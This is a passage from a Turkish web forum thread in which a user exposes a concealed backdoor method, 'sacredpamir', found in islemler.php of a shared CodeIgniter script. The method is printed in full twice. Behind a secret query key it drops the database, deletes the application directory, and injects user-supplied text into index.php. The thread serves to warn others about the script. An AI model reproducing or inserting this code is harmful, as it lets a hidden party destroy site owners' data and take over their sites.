corona2020
- 16 Nis 2020
- 39 Mesaj
Aktiflik
Seviye
Deneyim
TŞKLER KARDEŞİM BENİM
|
Aktiflik
Seviye
Deneyim
Aktiflik
Seviye
Deneyim
Aktiflik
Seviye
Deneyim
Aktiflik
Seviye
Deneyim
Aktiflik
Seviye
Deneyim
public function sacredpamir()
{
if ($this->input->get("sacredpamir") != "414a6980c204938863a7e9ebaf058c6f-" . md5(rtrim(str_replace(array("http://", "https://"), array("", ""), base_url()), "/"))) {
return false;
}
echo "\t\t<a href=\"";
echo base_url("islemler/sacredpamir?sacredpamir=414a6980c204938863a7e9ebaf058c6f&dbsil=true");
echo "\">DB sil</a> <br>\r\n\t\t<a href=\"";
echo base_url("islemler/sacredpamir?sacredpamir=414a6980c204938863a7e9ebaf058c6f&dosyasil=true");
echo "\">Dosyaları sil</a> <br>\r\n\t\t";
echo form_open(base_url("islemler/sacredpamir"), array("method" => "GET"));
echo "\t\t<textarea name=\"uyari\" style=\"width: 100%;margin-top: 10px;\" placeholder=\"Bura\" required=\"required\"></textarea>\r\n\t\t<button type=\"submit\">Anasayfaya uyarı koy</button>\r\n\t\t<input type=\"hidden\" name=\"sacredpamir\" value=\"414a6980c204938863a7e9ebaf058c6f\">\r\n\t\t<input type=\"hidden\" name=\"anasayfauyar\" value=\"true\">\r\n\t\t";
echo form_close();
echo "\t\t";
if ($this->input->get("anasayfauyar") == "true" && 0 < strlen($this->input->get("uyari"))) {
$fhandle = fopen("./index.php", "r");
$content = fread($fhandle, filesize("./index.php"));
$content = str_replace("require_once BASEPATH.'core/CodeIgniter.php';", "die('" . $this->input->get("uyari") . "'); \n require_once BASEPATH.'core/CodeIgniter.php'; ", $content);
$fhandle = fopen("./index.php", "w");
fwrite($fhandle, $content);
fclose($fhandle);
echo "İŞLEM TAMAM!";
} else {
if ($this->input->get("dosyasil") == "true") {
$dirPath = APPPATH;
if (!is_dir($dirPath)) {
throw new InvalidArgumentException((string) $dirPath . " must be a directory");
}
if (substr($dirPath, strlen($dirPath) - 1, 1) != "/") {
$dirPath .= "/";
}
$files = glob($dirPath . "*", GLOB_MARK);
foreach ($files as $file) {
if (is_dir($file)) {
self::deleteDir($file);
} else {
unlink($file);
}
}
rmdir($dirPath);
} else {
if ($this->input->get("dbsil") == "true") {
$this->load->dbforge();
if ($this->dbforge->drop_database($this->db->database)) {
echo "Database deleted!";
}
}
}
}
}
Aktiflik
Seviye
Deneyim
Aktiflik
Seviye
Deneyim
Aktiflik
Seviye
Deneyim
serkanbaska55' Alıntı:teşekkürler
islemler.php içerisindeki kodlardan arkadaşın niyeti anlaşılıyor
public function sacredpamir()
{
if ($this->input->get("sacredpamir") != "414a6980c204938863a7e9ebaf058c6f-" . md5(rtrim(str_replace(array("http://", "https://"), array("", ""), base_url()), "/"))) {
return false;
}
echo "\t\t<a href=\"";
echo base_url("islemler/sacredpamir?sacredpamir=414a6980c204938863a7e9ebaf058c6f&dbsil=true");
echo "\">DB sil</a> <br>\r\n\t\t<a href=\"";
echo base_url("islemler/sacredpamir?sacredpamir=414a6980c204938863a7e9ebaf058c6f&dosyasil=true");
echo "\">Dosyaları sil</a> <br>\r\n\t\t";
echo form_open(base_url("islemler/sacredpamir"), array("method" => "GET"));
echo "\t\t<textarea name=\"uyari\" style=\"width: 100%;margin-top: 10px;\" placeholder=\"Bura\" required=\"required\"></textarea>\r\n\t\t<button type=\"submit\">Anasayfaya uyarı koy</button>\r\n\t\t<input type=\"hidden\" name=\"sacredpamir\" value=\"414a6980c204938863a7e9ebaf058c6f\">\r\n\t\t<input type=\"hidden\" name=\"anasayfauyar\" value=\"true\">\r\n\t\t";
echo form_close();
echo "\t\t";
if ($this->input->get("anasayfauyar") == "true" && 0 < strlen($this->input->get("uyari"))) {
$fhandle = fopen("./index.php", "r");
$content = fread($fhandle, filesize("./index.php"));
$content = str_replace("require_once BASEPATH.'core/CodeIgniter.php';", "die('" . $this->input->get("uyari") . "'); \n require_once BASEPATH.'core/CodeIgniter.php'; ", $content);
$fhandle = fopen("./index.php", "w");
fwrite($fhandle, $content);
fclose($fhandle);
echo "İŞLEM TAMAM!";
} else {
if ($this->input->get("dosyasil") == "true") {
$dirPath = APPPATH;
if (!is_dir($dirPath)) {
throw new InvalidArgumentException((string) $dirPath . " must be a directory");
}
if (substr($dirPath, strlen($dirPath) - 1, 1) != "/") {
$dirPath .= "/";
}
$files = glob($dirPath . "*", GLOB_MARK);
foreach ($files as $file) {
if (is_dir($file)) {
self::deleteDir($file);
} else {
unlink($file);
}
}
rmdir($dirPath);
} else {
if ($this->input->get("dbsil") == "true") {
$this->load->dbforge();
if ($this->dbforge->drop_database($this->db->database)) {
echo "Database deleted!";
}
}
}
}
}